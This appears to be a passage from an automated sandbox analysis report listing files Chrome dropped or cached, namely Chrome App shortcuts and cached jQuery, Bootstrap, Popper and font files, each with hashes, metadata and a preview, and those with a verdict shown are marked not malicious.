Preview:	L..................F.@.. ...$+.,....o..ZK...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............y{J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 12:08:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9896667470340264
Encrypted:	false
SSDEEP:	48:8HSdwT0onH2ZidAKZdA1weh/iZUkAQkqehYy+2:8dvWZ9Qdy
MD5:	0E3FFF5F745A389ACED1E3B17DD1CEB6
SHA1:	C39F2A2494DD0CBA90D38CE10F7EFA28E5EF725F
SHA-256:	7F4913268CB0D40EBF99271754B90A92DE858F845156C0512726C9E58D05B14F
SHA-512:	43FA83470211771A60964FC0DC9EE6F2F20AA7B39020167B49E4C96A41A6775FD5144CEE16F215B891203B076E043CF24886786356EAF1D615F0B646C8FF4CED
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....F..ZK...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............y{J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9994035608826737
Encrypted:	false
SSDEEP:	48:8x+SdwT0osH2ZidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8x0vBpnky
MD5:	E1C12298B56BC0D0A19519E5F1061300
SHA1:	81BBB5A23FF0FAA4EC08C2B76F850F632C48371D
SHA-256:	0B7354E1AD6AC483AACCAAB184652F4907163138AEB9CACE6FEF9509F95300A9
SHA-512:	C1AF4C176C2A0A8843F8137506C9ECF8662191E45911D1A55C1D2A9A3117DB3DFCBD8FB19F8E8832F4E338A3F41C8FD1A28E2C5D60BE6299EDB790527CE09E96
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............y{J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 12:08:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990620715085766
Encrypted:	false
SSDEEP:	48:8SSdwT0onH2ZidAKZdA1vehDiZUkwqehcy+R:8ovW6uy
MD5:	638152F0B9236B29DAF3DE2E05242C36
SHA1:	E3B8EB37ECCB4B0A3EAB689E66917CB06F2784FC
SHA-256:	5C21F3E47642C9A806ADAFC0B6C3171233767628AABC60BD4B2444E55B972BF1
SHA-512:	500ADE036D4C4A0E7D06BDC775D01B4948C53E719921D82F36CFD404DEC7B93FC0193693F529FA8D083F6102D16D5CAD2CCDC19A6A8E65AADA7050E5AD00E49D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......ZK...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............y{J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 12:08:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.978536909720498
Encrypted:	false
SSDEEP:	48:8vSdwT0onH2ZidAKZdA1hehBiZUk1W1qehyy+C:8lvW69Sy
MD5:	2BDB908E4D48F692CDEAA43F7390E2A2
SHA1:	336BF48A56AE23D5935418F24EF89FE3BC6222CF
SHA-256:	DA4BD2525DB68703F86D3CD68303A68502959802C699F864E6662AE81441D828
SHA-512:	41D4565CC28811A00EA85D17F01B353F7CE4F66DF5D9AC2738BE6B6ABB5DA07AB63373A68549454AC4337F9236A2F5F0BB104861A368B58B88370CE64819FBBA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....H.ZK...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............y{J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 12:08:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990806427343049
Encrypted:	false
SSDEEP:	48:8HSdwT0onH2ZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbky+yT+:8dvWET/TbxWOvTbky7T
MD5:	3CFFF89F0EB2D5C775F6D6D5D09535BA
SHA1:	EB35B7A74F49E274C9DB0F6AACE8B266AA551CD5
SHA-256:	15788113899D9E069138A542E6693C06E194856F1DC3805A56FC9CD9BC51EE06
SHA-512:	3E53A4A85200C7DF0A3434F715A1AC18F0A01CF95849CF59695D6B5C4C1D7D2755534FECAC60AD24842FAF0654B1F08EA17C51A11542CF0E4E4252ABEBD2D7E7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......ZK...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............y{J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2363)
Category:	downloaded
Size (bytes):	35212
Entropy (8bit):	5.287985229126691
Encrypted:	false
SSDEEP:	192:vGO80QYpyirM2lr0sNJdBsUPSMfe3OnJ572hk/LQY+Bg3da5Y6BjSmMErEURHd0Q:6Ypyir4Oq2J1eQykeC5YE7zS25+as
MD5:	8EAED1CB6E4DC429E5D99740E55A3C84
SHA1:	2A3842806F43BEC328AFF7B55031301BDEE104CF
SHA-256:	95D5B67A78F81F3C071B01F888C9A468C13C8288597B64C99FF829E35B51A012
SHA-512:	90BBF1F6BC03F08BF3B7C5B1359EF9B7FD243B1C0B47C7FB59D52D306B08C649B07E855EAE6472797D8A039FD57D0FDD1463460D3A1C0D41485A1A850580B169
Malicious:	false
Reputation:	low
URL:	http://ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/themes/smoothness/jquery-ui.css
Preview:	/! jQuery UI - v1.11.2 - 2014-10-16. http://jqueryui.com.* Includes: core.css, accordion.css, autocomplete.css, button.css, datepicker.css, dialog.css, draggable.css, menu.css, progressbar.css, resizable.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css.* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=highlight_soft&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=flat&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=glass&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=glass&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=4

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7908, version 1.0
Category:	downloaded
Size (bytes):	7908
Entropy (8bit):	7.974577352332545
Encrypted:	false
SSDEEP:	192:JizIQCbR6EmfCy9tcernZc5RqJ43O/7RodCsh:aILbR6EefbS50tzRuCsh
MD5:	15D9BBCFBC1D668A43C85D156D23262B
SHA1:	C436963710C58453C4AE27E66C051E85C084CD49
SHA-256:	6DB83475C4B6E3BCD2DF60CA7AFCEDABC5140C3B55C9A6BB0CA636C5B6438E5F
SHA-512:	03959F4BB846EB8BBB13E9BCE81A35F8D68F4F90C7AF0FF22BB1135317FB6F5F57F98AC541DBD0978C3D51E13EBF2C92A41D1DFAC534A300C24FB875AD81445E
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/gudea/v15/neIFzCqgsI0mp9CI_oA.woff2
Preview:	wOF2..............B.................................N.(.`..L....d.1..8..6.$..l. ..H......,13.... b~.(&..<...o.ESE" ...v..a.@8...f..V.j..i..6......X..A.g....8"....6F.<.=.;.......5....FN7.x4..i$.....'.{.2:).S .<...(....:dkc..)P.....o?.o......Q.<R....IZS..^;{.].e...NY..Ku....."s.....L(M.7..w.+.K.o."<J......0wy..R".../...u.0..`.\R.i...>...A....{,}B[_..!....LJ.)....u...r&..\|."..Rc.V.........5..G.z.m.X..]...6...JZ..g........n.#..E.....a..v.A..X?.+...D..b..al..A.@D.b.P......D..b~M:...w.Y....5..M.?...K...A)O.w....k.r4.F..r.\|.N.Al+..z.j........),?..3S.f.. p........:...).....iv...%...v-...n.,$/.u......#fB.?=...e+....]>.%o.=..,...Y...u&J/..M..<=>......[o.m...Z.C...q.W4...).....[...=.-...3R..v,.xS.j..<....j.v.0.....<IP..;BK<.8.W.....Ie3.l.g..$..CH...[...F.]..@.yl.....O.4u3.`.=V. ....=.....5.....E...........]..B..BI{.@...d....V5e.U^..]....y..C.....'N J..(..QqG./.bJ$...v7.......Y8.'.......w..X... Y..8...._..z.....*.....L.\"].h..3.l.G2.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 84355
Category:	downloaded
Size (bytes):	29730
Entropy (8bit):	7.989885486598674
Encrypted:	false
SSDEEP:	768:GGPlMxSuk/YBzkKHqZSGmUbs83FgUP9yJlnkvi0KONXszNL:GGPlMxDkQWWGvb/VF9yJNkvi/ONcF
MD5:	0C53284B27E8915212FBA57F2D63CDF7
SHA1:	736CA8F8449FD3899C578C6B5CFB7F41D6C29F10
SHA-256:	0AEA73427356FAD9BD1F30D149F6F3F7F5481C228012340E5100C1FFAE66D6C8
SHA-512:	6D2D8D56A7FE2E0B712F18A91925EC860A0858643369DFAAD9A4451D2809EED8292D3F4A4C8B0DE14AC6101D689B3A716FDF5A7031D9D109F38A0C7FB512ABE4
Malicious:	false
URL:	http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
Preview:	............{..6.8.....#..C. ..$....a9v...N..w.=.... ....P.\"2..-4...(;{~.S...#.......qu9......O..................b....Mq.#Z.E./....E}qs'..2....{~qy..&.!.E>.b..V.nxXY.TO;^...":d..\|...]QV{..J.<......'..v..c.;....6e.p....(.K...w.....z..Q.p.V..z.KZhU..P....q.c...i.#k..+.{..6...G~O.....H8......CZ...a.....i....c.!...d3..wU....!.....\|..../.'\|+2e..-.`.,..~..X.D..8..yZ.........\|..7...`Z..]%xG.>.....#W3._Gt.[......yU.c...+...jV.e..weQ.b..QB...a....VE..x.3....3.'..].xY...[.h..,s...'..A...!.&.z.k.>.....?peZ..+.+..m.J.....-/..Y.....i.=.].....'..L...\|./.5..p..\\|...\.-....l;...-.9}.d8l.S9X.CQ)B......A...v..Q....E.qZ.s..;g....f.-Q.....+.C2.SG,'s..\|...^..m....a.. p.@T.GgG..X]....#..n..EY..\..........s.X.<".......b.#.q...N........Y.K.C.!.....E.i.!........S.O.mR..<.......v.rl...BR.v..........JT...Q......H...B..L.=*~..!..m....O.Ms9.N$..D$.Fw"...p..d..x...!.B..n.n.._.....=....q..{_...B...D....[8...w4..W..k.l.oi..."y. 4/...!w....lY....9....

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 239564
Category:	dropped
Size (bytes):	64362
Entropy (8bit):	7.9944471351608515
Encrypted:	true
SSDEEP:	1536:QmN4BEWOIa5MQC1nvaR/XsmgxF1xbOfaLYCp:HNIIIa5MQCNvaR7YF3Ofa08
MD5:	7756E68F4EB51A103CA4470EF4BCED27
SHA1:	ACD37EEAE2641EDAC458694A14C6E1A2985E87B6
SHA-256:	1798A9B14876B546BB25C1DC964FA574C02538439B716433F1594AAD03C3B2E1
SHA-512:	AAD771796F26654BAB070E2C59CB85AF802CA19B4040724E45A7CD5ED791C352ECB7E0F283D398E30E0437567D2A55B7B79245E7E7048B9D48671E49C3B62550
Malicious:	false
